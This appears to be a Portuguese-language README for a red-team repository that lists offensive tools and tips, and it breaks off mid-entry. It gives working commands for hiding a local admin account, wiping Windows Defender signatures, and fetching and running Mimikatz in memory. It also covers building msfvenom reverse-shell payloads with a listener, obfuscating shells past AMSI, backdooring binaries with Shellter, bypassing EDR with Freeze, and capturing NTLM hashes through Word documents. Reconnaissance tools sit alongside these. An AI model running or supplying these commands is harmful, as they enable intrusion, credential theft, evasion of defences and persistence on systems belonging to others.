edu0x01/hack-toolsProjeto que reúne várias ferramentas de pentest
Este repositório contém uma coleção de 200+ ferramentas e recursos que podem ser úteis para atividades de red teaming.
Algumas das ferramentas podem ser especificamente projetadas para red teaming, enquanto outras são de uso mais geral e podem ser adaptadas para uso em um contexto de red teaming.
Aviso
Os materiais neste repositório são apenas para fins informativos e educacionais. Eles não devem ser usados em atividades ilegais.
Nota
Oculte os cabeçalhos da Lista de Ferramentas com a seta.
Clique 🔙 para voltar à lista.
git submodule update --init --recursive
### Adicionar novo projeto```bash
git submodule add https://github.com/example.git
docs: https://git-scm.com/book/en/v2/Git-Tools-Submodules
Aprenda com especialistas em Red Team com uma coleção de Dicas de Red Team. Essas dicas cobrem uma variedade de táticas, ferramentas e metodologias para melhorar suas habilidades de Red Team.
Nota: Quase todas as dicas são atualmente do @Alh4zr3d, ele posta boas dicas de Red Team!
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /t REG_DWORD /v alh4zr3d /d 0 /f
**Descrição:** _'Criar contas é arriscado ao evadir o blue, mas ao criar um administrador local, use alguma feitiçaria fofa no registro para ocultá-la.'_
**Crédito:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/Alh4zr3d/status/1612913838999113728)
### [🔙](#tool-list)Debilitar o windows defender excluindo assinaturas```bash
"%Program Files%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
Descrição: 'Um pouco bagunçado, mas se o Windows Defender está causando uma grande dor de cabeça, em vez de desativá-lo (o que alerta o usuário), você deve apenas neutralizá-lo excluindo todas as assinaturas.'
Crédito: @Alh4zr3d
Link: Twitter
reg add HKLM\System\CurrentControlSet\Control\TerminalServer /v fSingleSessionPerUser /d 0 /f
**Descrição:** _'Às vezes você quer fazer login em um host via RDP ou similar, mas seu usuário tem uma sessão ativa. Habilite múltiplas sessões por usuário.'_
**Crédito:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/Alh4zr3d/status/1609954528425558016)
### [🔙](#tool-list)Alternativa local ao Sysinternals PsExec.exe```bash
wmic.exe /node:10.1.1.1 /user:username /password:pass process call create cmd.exe /c " command "
Descrição: 'Você está cansado de fazer upload do Sysinternals PsExec.exe ao fazer movimento lateral? O Windows tem uma alternativa melhor pré-instalada. Experimente esta.'
Crédito: @GuhnooPlusLinux
Link: Twitter
0..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect(<tgt_ip>,$)) "Port $ open"} 2>$null
**Descrição:** _'Quando possível, viva da terra em vez de enviar ferramentas para máquinas (por vários motivos). PowerShell/.NET ajudam. Ex: scanner de portas simples em Powershell.'_
**Crédito:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/Alh4zr3d/status/1605060950339588096)
### [🔙](#tool-list)Proxy consciente PowerShell DownloadString```bash
$w=(New-Object Net.WebClient);$w.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;IEX $w.DownloadString("<url>")
Descrição: 'A maioria das grandes organizações está usando proxies web atualmente. O cradle de download padrão do PowerShell não reconhece proxies. Use este.'
Crédito: @Alh4zr3d
Link: Twitter
type "C:\Users%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Bookmarks.bak" | findstr /c "name url" | findstr /v "type"
**Descrição:** _'Você ficaria surpreso com o que pode descobrir apenas pelos favoritos de um usuário. Por exemplo, endpoints internos que eles podem acessar.'_
**Crédito:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/Alh4zr3d/status/1595488676389171200)
### [🔙](#tool-list)Consultar registros DNS para enumeração```bash
Get-DnsRecord -RecordType A -ZoneName FQDN -Server <server hostname>
Descrição: 'Enumeração é 95% do jogo. No entanto, lançar toneladas de varreduras para avaliar o ambiente é muito barulhento. Por que não apenas perguntar ao servidor DC/DNS por todos os registros DNS?'
Crédito: @Alh4zr3d
Link: Twitter
Get-CIMInstance -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$.StartMode -eq "Auto" -and $.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
**Descrição:** _'Encontrando caminhos de serviço sem aspas sem PowerUp'_
**Crédito:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/Alh4zr3d/status/1579254955554136064)
### [🔙](#tool-list)Contornar um prompt de comando desativado com /k```bash
# Win+R (To bring up Run Box)
cmd.exe /k "whoami"
Descrição: 'Este prompt de comando foi desativado pelo seu administrador...' Geralmente pode ser visto em ambientes como PCs de quiosques. Uma solução rápida e improvisada é usar /k através da caixa de execução do Windows. Isso executará o comando e, em seguida, exibirá a mensagem de restrição, permitindo a execução de comandos.
Crédito: Martin Sohn Christensen
Link: Blog
(new-object net.webclient).downloadstring('https://raw.githubusercontent[.]com/BC-SECURITY/Empire/main/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1')|IEX;inv
**Descrição:** _'Você está cansado do Windows Defender excluir o mimikatz.exe? Tente isto em vez disso.'_
**Crédito:** [@GuhnooPlusLinux](https://twitter.com/GuhnooPlusLinux)
**Link:** [Twitter](https://twitter.com/GuhnooPlusLinux/status/1605629049660809216)
### [🔙](#tool-list)Verifique se você está em uma máquina virtual```bash
reg query HKLM\SYSTEM /s | findstr /S "VirtualBox VBOX VMWare"
Descrição: 'Quer saber se está numa máquina virtual? Consulte as chaves do registro e descubra!!! Se algum resultado aparecer, então está numa máquina virtual.'
Crédito: @dmcxblue
Link: Twitter
(Get-AppLockerPolicy -Local).RuleCollections
Get-ChildItem -Path HKLM:Software\Policies\Microsoft\Windows\SrpV2 -Recurse
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe\
**Descrição:** _'O AppLocker pode ser um problema. Enumere para ver o quão problemático'_
**Crédito:** [@Alh4zr3d](https://twitter.com/Alh4zr3d)
**Link:** [Twitter](https://twitter.com/alh4zr3d/status/1614706476412698624)
# Reconhecimento
### [🔙](#tool-list)crt.sh -> httprobe -> EyeWitness
Eu montei um one-liner bash que:
- Coleta passivamente uma lista de subdomínios a partir de associações de certificados ([crt.sh](https://crt.sh/))
- Solicita ativamente cada subdomínio para verificar sua existência ([httprobe](https://github.com/tomnomnom/httprobe))
- Captura ativamente screenshots de cada subdomínio para revisão manual ([EyeWitness](https://github.com/FortyNorthSecurity/EyeWitness))
**Uso:**```bash
domain=DOMAIN_COM;rand=$RANDOM;curl -fsSL "https://crt.sh/?q=${domain}" | pup 'td text{}' | grep "${domain}" | sort -n | uniq | httprobe > /tmp/enum_tmp_${rand}.txt; python3 /usr/share/eyewitness/EyeWitness.py -f /tmp/enum_tmp_${rand}.txt --web
Note: Você deve ter o httprobe, pup e EyeWitness instalados e alterar 'DOMAIN_COM' para o domínio alvo. Você pode executar este script simultaneamente em janelas de terminal se tiver múltiplos domínios raiz alvo.
Um bookmarklet JavaScript para extrair todos os links de endpoints de uma página da web.
Criado por @renniepak, este trecho de código JavaScript pode ser usado para extrair todos os endpoints (começando com /) do DOM da página web atual, incluindo todas as fontes de script externas incorporadas na página.```javascript
javascript: (function () {
var scripts = document.getElementsByTagName("script"),
regex = /(?<=("|'|`))/[a-zA-Z0-9_?&=/-#.]*(?=("|'|`))/g;
const results = new Set();
for (var i = 0; i < scripts.length; i++) {
var t = scripts[i].src;
"" != t &&
fetch(t)
.then(function (t) {
return t.text();
})
.then(function (t) {
var e = t.matchAll(regex);
for (let r of e) results.add(r[0]);
})
.catch(function (t) {
console.log("An error occurred: ", t);
});
}
var pageContent = document.documentElement.outerHTML,
matches = pageContent.matchAll(regex);
for (const match of matches) results.add(match[0]);
function writeResults() {
results.forEach(function (t) {
document.write(t + "
");
});
}
setTimeout(writeResults, 3e3);
})();
**Uso (Bookmarklet)**
Crie um bookmarklet...
- `Clique com o botão direito na barra de favoritos`
- `Clique em 'Adicionar Página'`
- `Cole o Javascript acima na caixa 'url'`
- `Clique em 'Salvar'`
...então visite a página da vítima no navegador e clique no bookmarklet.
**Uso (Console)**
Cole o Javascript acima na janela do console `F12` e pressione Enter.
### [🔙](#tool-list)[nuclei](https://github.com/projectdiscovery/nuclei)
Scanner rápido de vulnerabilidades que usa templates .yaml para buscar por problemas específicos.
**Instalação:**```bash
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
Uso:```bash cat domains.txt | nuclei -t /PATH/nuclei-templates/
### [🔙](#tool-list)[nuclei-templates](https://github.com/projectdiscovery/nuclei-templates.git)
<h1 align="center">
Nuclei Templates
</h1>
<h4 align="center">Lista de templates curada pela comunidade para o mecanismo nuclei encontrar vulnerabilidades de segurança em aplicações.</h4>
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/issues"><img src="https://img.shields.io/badge/contributions-welcome-brightgreen.svg?style=flat"></a>
<a href="https://github.com/projectdiscovery/nuclei-templates/releases"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei-templates"></a>
<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
</p>
<p align="center">
<a href="https://nuclei.projectdiscovery.io/templating-guide/">Documentação</a> •
<a href="#-contributions">Contribuições</a> •
<a href="#-discussion">Discussão</a> •
<a href="#-community">Comunidade</a> •
<a href="https://nuclei.projectdiscovery.io/faq/templates/">FAQs</a> •
<a href="https://discord.gg/projectdiscovery">Entre no DC</a>
</p>
---
Templates são o núcleo do [scanner nuclei](https://github.com/projectdiscovery/nuclei) que alimenta o motor de varredura real. Este repositório armazena e abriga vários templates para o scanner fornecidos pela nossa equipe, bem como contribuídos pela comunidade. Esperamos que você também contribua enviando templates via **pull requests** ou [issues do Github](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) para aumentar a lista.
## Visão geral dos Nuclei Templates
Uma visão geral do projeto de templates do nuclei, incluindo estatísticas sobre tags únicas, autor, diretório, gravidade e tipo de templates. A tabela abaixo contém as dez principais estatísticas para cada matriz; uma versão expandida está [disponível aqui](https://gitlab.com/edu0x01/hack-tools/-/blob/master/TEMPLATES-STATS.md) e também disponível em formato [JSON](https://gitlab.com/edu0x01/hack-tools/-/blob/master/TEMPLATES-STATS.json) para integração.
<table>
<tr>
<td>
## Nuclei Templates Top 10 statistics
| TAG | CONTAGEM | AUTOR | CONTAGEM | DIRETÓRIO | CONTAGEM | GRAVIDADE | CONTAGEM | TIPO | CONTAGEM |
| --------- | -------- | ------------ | -------- | --------------------- | -------- | ---------- | -------- | ---- | -------- |
| cve | 1855 | dhiyaneshdk | 835 | http | 5860 | info | 2857 | file | 123 |
| panel | 896 | dwisiswant0 | 794 | workflows | 190 | high | 1270 | dns | 18 |
| wordpress | 781 | daffainfo | 664 | file | 123 | medium | 1042 | | |
| exposure | 677 | pikpikcu | 353 | network | 93 | critical | 704 | | |
| wp-plugin | 672 | pdteam | 278 | dns | 18 | low | 216 | | |
| xss | 646 | pussycat0x | 240 | ssl | 12 | unknown | 26 | | |
| osint | 639 | geeknik | 220 | headless | 9 | | | | |
| tech | 602 | ricardomaia | 215 | TEMPLATES-STATS.json | 1 | | | | |
| edb | 596 | ritikchaddha | 210 | contributors.json | 1 | | | | |
| lfi | 548 | 0x_akoko | 179 | cves.json | 1 | | | | |
**404 diretórios, 6542 arquivos**.
</td>
</tr>
</table>
## 📖 Documentação
Por favor, navegue até https://nuclei.projectdiscovery.io para documentação detalhada para **criar** novos templates ou seus próprios templates **personalizados**. Também adicionamos um conjunto de templates para ajudar você a entender como as coisas funcionam.
## 💪 Contribuições
Nuclei-templates é alimentado por grandes contribuições da comunidade. [Contribuições de templates](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+), [Solicitações de funcionalidades](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=feature_request.md&title=%5BFeature%5D+) e [Relatórios de bugs](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=bug_report.md&title=%5BBug%5D+) são mais que bem-vindos.
## 💬 Discussão
Tem perguntas / dúvidas / ideias para discutir? Sinta-se à vontade para abrir uma discussão no quadro de [discussões do Github](https://github.com/projectdiscovery/nuclei-templates/discussions).
## 👨💻 Comunidade
Você é bem-vindo para se juntar à ativa [Comunidade do Discord](https://discord.gg/projectdiscovery) para discutir diretamente com os mantenedores do projeto e compartilhar coisas com outros sobre segurança e automação. Além disso, você pode nos seguir no [Twitter](https://twitter.com/pdnuclei) para ser atualizado sobre todas as coisas do Nuclei.
<p align="center">
<a href="https://github.com/projectdiscovery/nuclei-templates/graphs/contributors">
<img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei-templates&max=300">
</a>
</p>
Agradecemos novamente pela sua contribuição e por manter esta comunidade vibrante. :heart:
### [🔙](#tool-list)[certSniff](https://github.com/A-poc/certSniff)
certSniff é um observador de palavras-chave de logs de Transparência de Certificados que escrevi em Python. Ele usa a biblioteca certstream para observar logs de criação de certificados que contenham palavras-chave, definidas em um arquivo.
Você pode configurar isso para executar com várias palavras-chave relacionadas ao seu domínio alvo; quaisquer criações de certificados serão registradas e podem levar à descoberta de domínios dos quais você não tinha conhecimento anteriormente.
**Instalação:**```bash
git clone https://github.com/A-poc/certSniff;cd certSniff/;pip install -r requirements.txt
Uso:```python python3 certSniff.py -f example.txt
### [🔙](#tool-list)[gobuster](https://www.kali.org/tools/gobuster/)
Ferramenta útil para força bruta de caminhos de arquivos/pastas em um site alvo.
**Instalação:**```bash
sudo apt install gobuster
Uso:```bash gobuster dir -u "https://google.com" -w /usr/share/wordlists/dirb/big.txt --wildcard -b 301,401,403,404,500 -t 20
### [🔙](#tool-list)[feroxbuster](https://github.com/epi052/feroxbuster)
Uma ferramenta projetada para realizar Forced Browsing, um ataque cujo objetivo é enumerar e acessar recursos que não são referenciados pela aplicação web, mas ainda são acessíveis por um atacante.
Feroxbuster usa força bruta combinada com uma wordlist para pesquisar conteúdo não vinculado em diretórios alvo. Esses recursos podem armazenar informações sensíveis sobre aplicações web e sistemas operacionais, como código-fonte, credenciais, endereçamento interno de rede, etc...
**Instalação: (Kali)**```bash
sudo apt update && sudo apt install -y feroxbuster
Instalação: (Mac)```bash curl -sL https://raw.githubusercontent.com/epi052/feroxbuster/master/install-nix.sh | bash
**Instalar: (Windows)**```bash
Invoke-WebRequest https://github.com/epi052/feroxbuster/releases/latest/download/x86_64-windows-feroxbuster.exe.zip -OutFile feroxbuster.zip
Expand-Archive .\feroxbuster.zip
.\feroxbuster\feroxbuster.exe -V
Para instruções completas de instalação veja aqui.
Uso:```bash
./feroxbuster -u http://127.1 -x pdf -x js,html -x php txt json,docx
./feroxbuster -u http://127.1 -H Accept:application/json "Authorization: Bearer {token}"
cat targets | ./feroxbuster --stdin --silent -s 200 301 302 --redirects -x js | fff -s 200 -o js-files
./feroxbuster -u http://127.1 --insecure --proxy http://127.0.0.1:8080
Exemplos completos de uso podem ser encontrados [aqui](https://epi052.github.io/feroxbuster-docs/docs/examples/).
_Imagem utilizada de https://raw.githubusercontent.com/epi052/feroxbuster/main/img/demo.gif_
### [🔙](#tool-list)[CloudBrute](https://github.com/0xsha/CloudBrute)
Uma ferramenta para encontrar a infraestrutura, arquivos e aplicativos de uma empresa (alvo) nos principais provedores de nuvem (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
Funcionalidades:
- Detecção de nuvem (API IPINFO e Código Fonte)
- Rápido (concorrente)
- Multiplataforma (Windows, Linux, Mac)
- Randomização de User-Agent
- Randomização de Proxy (HTTP, Socks5)
**Instalação:**
Baixe o [release](https://github.com/0xsha/CloudBrute/releases) mais recente para o seu sistema e siga as instruções de uso.
**Uso:**```bash
# Specified target, generate keywords based off 'target', 80 threads with a timeout of 10, wordlist 'storage_small.txt'
CloudBrute -d target.com -k target -m storage -t 80 -T 10 -w "./data/storage_small.txt"
# Output results to file
CloudBrute -d target.com -k keyword -m storage -t 80 -T 10 -w -c amazon -o target_output.txt
Imagem usada de https://github.com/0xsha/CloudBrute
dnsrecon é uma ferramenta em Python para enumeração de registros DNS (MX, SOA, NS, A, AAAA, SPF e TXT) e pode fornecer uma série de novos hosts vítimas associados para pivotar a partir de uma única pesquisa de domínio.
Instalação:```bash sudo apt install dnsrecon
**Uso:**```bash
dnsrecon -d google.com
Shodan rastreia a infraestrutura pública e a exibe em um formato pesquisável. Usando um nome de empresa, nome de domínio, endereço IP é possível descobrir sistemas potencialmente vulneráveis relacionados ao seu alvo através do shodan.
Ferramenta para enumeração de subdomínios, enumeração de DNS, detecção de WAF, WHOIS, varredura de portas, wayback machine, coleta de e-mails.
Instalação:```bash git clone https://github.com/D3Ext/AORT; cd AORT; pip3 install -r requirements.txt
**Uso:**```python
python3 AORT.py -d google.com
Um programa que verifica se um domínio pode ser falsificado. O programa verifica os registros SPF e DMARC em busca de configurações fracas que permitem falsificação. Além disso, ele alertará se o domínio tiver uma configuração DMARC que envie e-mails ou solicitações HTTP em e-mails com SPF/DKIM falhos.
Os domínios são falsificáveis se qualquer uma das seguintes condições for atendida:
~all ou -allp=none ou inexistenteInstalação:```bash git clone https://github.com/BishopFox/spoofcheck; cd spoofcheck; pip install -r requirements.txt
**Uso:**```bash
./spoofcheck.py [DOMAIN]
AWSBucketDump é uma ferramenta para enumerar rapidamente buckets AWS S3 em busca de arquivos interessantes. É semelhante a um bruteforcer de subdomínios, mas é feito especificamente para buckets S3 e também possui alguns recursos extras que permitem pesquisar (grep) por arquivos, bem como baixar arquivos interessantes.
Instalação:``` git clone https://github.com/jordanpotti/AWSBucketDump; cd AWSBucketDump; pip install -r requirements.txt
**Uso:**```
usage: AWSBucketDump.py [-h] [-D] [-t THREADS] -l HOSTLIST [-g GREPWORDS] [-m MAXSIZE]
optional arguments:
-h, --help show this help message and exit
-D Download files. This requires significant diskspace
-d If set to 1 or True, create directories for each host w/ results
-t THREADS number of threads
-l HOSTLIST
-g GREPWORDS Provide a wordlist to grep for
-m MAXSIZE Maximum file size to download.
python AWSBucketDump.py -l BucketNames.txt -g interesting_Keywords.txt -D -m 500000 -d 1
Ferramenta útil para encontrar informações do GitHub com regex, com a capacidade de pesquisar usuários e/ou projetos específicos do GitHub.
Instalação:``` git clone https://github.com/metac0rtex/GitHarvester; cd GitHarvester
**Uso:**```
./githarvester.py
TruffleHog é uma ferramenta que varre repositórios git e procura por strings de alta entropia e padrões que podem indicar a presença de segredos, como senhas e chaves de API. Com o TruffleHog, você pode encontrar rápida e facilmente informações sensíveis que podem ter sido acidentalmente commitadas e enviadas para um repositório.
Instalação (Binários): Link
Instalação (Go):``` git clone https://github.com/trufflesecurity/trufflehog.git; cd trufflehog; go install
**Uso:**```
trufflehog https://github.com/trufflesecurity/test_keys
O Dismap é uma ferramenta de descoberta e identificação de ativos. Ele pode identificar rapidamente protocolos e informações de impressão digital como web/tcp/udp, localizar tipos de ativos, e é adequado para redes internas e externas.
O Dismap possui uma base completa de regras de impressão digital, incluindo atualmente impressões digitais de protocolo tcp/udp/tls e mais de 4500 regras de impressão digital web, que podem identificar favicon, body, header, etc.
Instalação:
O Dismap é um arquivo binário para Linux, MacOS e Windows. Acesse Release para baixar a versão correspondente para executar:```bash
chmod +x dismap-0.3-linux-amd64 ./dismap-0.3-linux-amd64 -h
dismap-0.3-windows-amd64.exe -h
**Uso:**```bash
# Scan 192.168.1.1 subnet
./dismap -i 192.168.1.1/24
# Scan, output to result.txt and json output to result.json
./dismap -i 192.168.1.1/24 -o result.txt -j result.json
# Scan, Not use ICMP/PING to detect surviving hosts, timeout 10 seconds
./dismap -i 192.168.1.1/24 --np --timeout 10
# Scan, Number of concurrent threads 1000
./dismap -i 192.168.1.1/24 -t 1000
Imagem usada de https://github.com/zhzyker/dismap
Uma ferramenta para enumerar informações de sistemas Windows e Samba.
Pode ser usada para coletar uma ampla gama de informações, incluindo:
Instalação: (Apt)```bash sudo apt install enum4linux
**Instalar: (Git)**```bash
git clone https://github.com/CiscoCXSecurity/enum4linux
cd enum4linux
Uso:```bash
enum4linux.pl -a 192.168.2.55
enum4linux.pl -U 192.168.2.55
enum4linux.pl -u administrator -p password -U 192.168.2.55
enum4linux.pl -G 192.168.2.55
enum4linux.pl -v 192.168.2.55
Informações completas de uso podem ser encontradas neste [blog](https://labs.portcullis.co.uk/tools/enum4linux/).
_Imagem usada de https://allabouttesting.org/samba-enumeration-for-penetration-testing-short-tutorial/_
### [🔙](#tool-list)[skanuvaty](https://github.com/Esc4iCEscEsc/skanuvaty)
Scanner de dns/rede/porta perigosamente rápido, criado por [Esc4iCEscEsc](https://github.com/Esc4iCEscEsc), escrito em rust.
Você precisará de um arquivo de subdomínios. _Ex. [Lista de palavras de subdomínio do Sublist3r](https://raw.githubusercontent.com/aboul3la/Sublist3r/master/subbrute/names.txt)_.
**Instalação:**
Baixe a versão mais recente [aqui](https://github.com/Esc4iCEscEsc/skanuvaty/releases).```bash
# Install a wordlist
sudo apt install wordlists
ls /usr/share/dirb/wordlists
ls /usr/share/amass/wordlists
Uso:```bash skanuvaty --target example.com --concurrency 16 --subdomains-file SUBDOMAIN_WORDLIST.txt
_Imagem usada de https://github.com/Esc4iCEscEsc/skanuvaty_
### [🔙](#tool-list)[Metabigor](https://github.com/j3ssie/metabigor)
Metabigor é uma ferramenta de Inteligência, seu objetivo é realizar tarefas de OSINT e mais, mas sem nenhuma chave de API.
**Principais funcionalidades:**
- Pesquisar informações sobre endereço IP, ASN e Organização.
- Wrapper para executar rustscan, masscan e nmap de forma mais eficiente em IP/CIDR.
- Encontrar mais domínios relacionados ao alvo aplicando várias técnicas (certificado, whois, Google Analytics, etc).
- Obter resumo sobre endereço IP (desenvolvido por [@thebl4ckturtle](https://github.com/theblackturtle))
**Instalação:**```bash
go install github.com/j3ssie/metabigor@latest
Uso:```bash
echo "company" | metabigor net --org -o /tmp/result.txt
echo 'Target Inc' | metabigor cert --json | jq -r '.Domain' | unfurl format %r.%t | sort -u # this is old command
echo '1.2.3.4/24' | metabigor scan -o result.txt
echo 'example.com' | metabigor related -s 'whois'
echo 'https://example.com' | metabigor related -s 'google-analytic'
_Imagem usada de https://github.com/j3ssie/metabigor_
### [🔙](#tool-list)[Gitrob](https://github.com/michenriksen/gitrob)
Gitrob é uma ferramenta para ajudar a encontrar arquivos potencialmente sensíveis enviados para repositórios públicos no Github.
O Gitrob clonará repositórios pertencentes a um usuário ou organização até uma profundidade configurável e percorrerá o histórico de commits e marcará arquivos que correspondam a assinaturas de arquivos potencialmente sensíveis.
Os resultados serão apresentados através de uma interface web para fácil navegação e análise.
**Nota:** _O Gitrob precisará de um token de acesso do Github para interagir com a API do Github. [Crie um token de acesso pessoal](https://help.github.com/articles/creating-a-personal-access-token-for-the-command-line/) e salve-o em uma variável de ambiente no seu .bashrc ou arquivo de configuração de shell similar:_```bash
export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef
Instalar: (Go)```bash go get github.com/michenriksen/gitrob
**Instalação: (Binário)**
Uma [versão pré-compilada](https://github.com/michenriksen/gitrob/releases) está disponível para cada lançamento.
**Uso:**```bash
# Run against org
gitrob {org_name}
# Saving session to a file
gitrob -save ~/gitrob-session.json acmecorp
# Loading session from a file
gitrob -load ~/gitrob-session.json
Imagem usada de https://www.uedbox.com/post/58828/
Gowitness é um utilitário de captura de tela de sites escrito em Golang, que usa Chrome Headless para gerar capturas de tela de interfaces web a partir da linha de comando, com um prático visualizador de relatórios para processar os resultados. Tanto Linux quanto macOS são suportados, com suporte para Windows funcionando na maioria dos casos.
Instalação: (Go)```bash go install github.com/sensepost/gowitness@latest
Informações completas de instalação podem ser encontradas [aqui](https://github.com/sensepost/gowitness/wiki/Installation).
**Uso:**```bash
# Screenshot a single website
gowitness single https://www.google.com/
# Screenshot a cidr using 20 threads
gowitness scan --cidr 192.168.0.0/24 --threads 20
# Screenshot open http services from an namp file
gowitness nmap -f nmap.xml --open --service-contains http
# Run the report server
gowitness report serve
Informações completas de uso podem ser encontradas aqui.
Imagem utilizada de https://github.com/sensepost/gowitness
Chimera é um script de ofuscação PowerShell projetado para contornar soluções AMSI e antivírus. Ele digere PS1 maliciosos conhecidos por acionar AV e usa substituição de string e concatenação de variáveis para evadir assinaturas de detecção comuns.
Instalação:```bash sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils git sudo git clone https://github.com/tokyoneon/chimera /opt/chimera sudo chown $USER:$USER -R /opt/chimera/; cd /opt/chimera/ sudo chmod +x chimera.sh; ./chimera.sh --help
**Uso:**```bash
./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -l 3 -o /tmp/chimera.ps1 -v -t powershell,windows,\
copyright -c -i -h -s length,get-location,ascii,stop,close,getstream -b new-object,reverse,\
invoke-expression,out-string,write-error -j -g -k -r -p
Msfvenom permite a criação de payloads para vários sistemas operacionais em uma ampla gama de formatos. Ele também suporta ofuscação de payloads para bypass de AV.
Configurar Listener```shell use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp set LHOST your-ip set LPORT listening-port run
#### Comandos do Msfvenom
**PHP:**```bash
msfvenom -p php/meterpreter/reverse_tcp lhost =192.168.0.9 lport=1234 R
Windows:```bash msfvenom -p windows/shell/reverse_tcp LHOST= LPORT= -f exe > shell-x86.exe
**Linux:**```bash
msfvenom -p linux/x86/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elf
Java:```bash msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp
**HTA:**```bash
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f hta-psh > shell.hta
Shellter é uma ferramenta dinâmica de injeção de shellcode, e o primeiro infector de PE verdadeiramente dinâmico já criado.
Pode ser usado para injetar shellcode em aplicações nativas do Windows (atualmente apenas aplicações de 32 bits).
Shellter aproveita a estrutura original do arquivo PE e não aplica nenhuma modificação como alterar permissões de acesso à memória nas seções (a menos que o usuário queira), adicionar uma seção extra com acesso RWE, e qualquer coisa que pareça suspeita em uma varredura de AV.
Informações completas do README podem ser encontradas aqui.
Instalação: (Kali)```bash apt-get update apt-get install shellter
**Instalação: (Windows)**
Visite a [página de download](https://www.shellterproject.com/download/) e instale.
**Uso:**
Basta escolher um binário legítimo para backdoor e executar o Shellter.
Algumas dicas úteis podem ser encontradas [aqui](https://www.shellterproject.com/tipstricks/).
Muitos exemplos de uso da comunidade podem ser encontrados [aqui](https://www.shellterproject.com/shellter-community-demos/).
_Imagem usada de https://www.kali.org/tools/shellter/images/shellter.png_
### [🔙](#tool-list)[Freeze](https://github.com/optiv/Freeze)
Freeze é uma ferramenta de criação de payload usada para contornar controles de segurança EDR e executar shellcode de forma furtiva.
Freeze utiliza múltiplas técnicas não apenas para remover hooks EDR do espaço do usuário, mas também para executar shellcode de forma a contornar outros controles de monitoramento de endpoints.
**Instalação:**```bash
git clone https://github.com/optiv/Freeze
cd Freeze
go build Freeze.go
Uso:``` -I string Path to the raw 64-bit shellcode. -O string Name of output file (e.g. loader.exe or loader.dll). Depending on what file extension defined will determine if Freeze makes a dll or exe. -console Only for Binary Payloads - Generates verbose console information when the payload is executed. This will disable the hidden window feature. -encrypt Encrypts the shellcode using AES 256 encryption -export string For DLL Loaders Only - Specify a specific Export function for a loader to have. -process string The name of process to spawn. This process has to exist in C:\Windows\System32. Example 'notepad.exe' (default "notepad.exe") -sandbox Enables sandbox evasion by checking: Is Endpoint joined to a domain? Does the Endpoint have more than 2 CPUs? Does the Endpoint have more than 4 gigs of RAM? -sha256 Provides the SHA256 value of the loaders (This is useful for tracking)
_Imagem usada de https://www.blackhatethicalhacking.com/tools/freeze/_
### [🔙](#tool-list)[WordSteal](https://github.com/0x09AL/WordSteal)
Este script criará um Documento do Microsoft Word com uma imagem remota, permitindo a captura de hashes NTML de um endpoint remoto da vítima.
O Microsoft Word tem a capacidade de incluir imagens de locais remotos, incluindo uma imagem remota hospedada em um servidor SMB controlado pelo atacante. Isso lhe dá a oportunidade de ouvir e capturar hashes NTLM que são enviados quando uma vítima autenticada abre o documento do Word e renderiza a imagem.
**Instalação:**```
git clone https://github.com/0x09AL/WordSteal
cd WordSteal
Uso:```bash
./main.py 127.0.0.1 test.jpg 1
./main.py 127.0.0.1 test.jpg 0\n
_Imagem utilizada de https://pentestit.com/wordsteal-steal-ntlm-hashes-remotely/_
---
### [🔙](#listagem-de-ferramentas)[Freeze.rs](https://github.com/optiv/Freeze.rs.git)
Se você quiser saber mais sobre as técnicas utilizadas neste framework, consulte o blog SourceZero e a ferramenta original.
**Descrição:**
Freeze.rs é uma ferramenta de criação de payload usada para contornar controles de segurança EDR, executando shellcode de forma furtiva. O Freeze.rs utiliza múltiplas técnicas não apenas para remover os hooks do EDR no Userland, mas também para executar shellcode de maneira que contorne outros controles de monitoramento de endpoints.
**Criando um Processo Suspenso:**
